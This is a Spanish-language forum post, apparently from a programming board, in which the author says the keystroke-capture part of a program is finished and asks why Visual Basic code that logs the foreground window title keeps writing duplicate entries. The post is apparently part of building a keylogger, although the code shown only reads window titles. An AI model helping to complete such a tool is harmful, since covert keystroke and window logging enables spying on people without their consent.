La parte de las teclas esta ventilada ya, estoy en la parte de capturar la ventana activa, pero tengo problemas, porque al poner que me envie la ventana:
Código:
Handle = GetForegroundWindow()
Longitud = GetWindowTextLength(Handle) + 1
Texto = Space(Longitud)
Retorno = GetWindowText(Handle, Texto, Longitud)
ventana = Left(Texto, Longitud - 1)
Text1.Text = Text1.Text & ventana & vbCrLf
Me la pone muchas veces, es decir, en el log me aparece:
Código:
Ventana activa
Ventana activa
Ventana activa
Ventana activa
Ventana activa
Ventana activa
Entonces hice que si la ventana era lo mismo que la que ya habia, no hiciera nada. Quedó asi:
Código:
ventana2 = "vacio"
If ventana <> ventana2 Then
Text1.Text = Text1.Text & ventana & vbCrLf
ventana2 = ventana
Como veis, primero le digo que la variable ventana2 es "vacio" ( por ejemplo )
Despues, si la ventana activa no es "vacio", agrega al log la ventana, y hace que la variable ventana2 sea lo mismo que la ventana actual. Asi si la ventana sigue siendo la misma, esta no se pondrá en el Text.
Pero queda igual, en el text sigue saliendo
Código:
Ventana activa
Ventana activa
Ventana activa
Ventana activa
Ventana activa
Ventana activa
Creo que me he expresado con claridad jeje
A ver que hago mal, Gracias
Salu2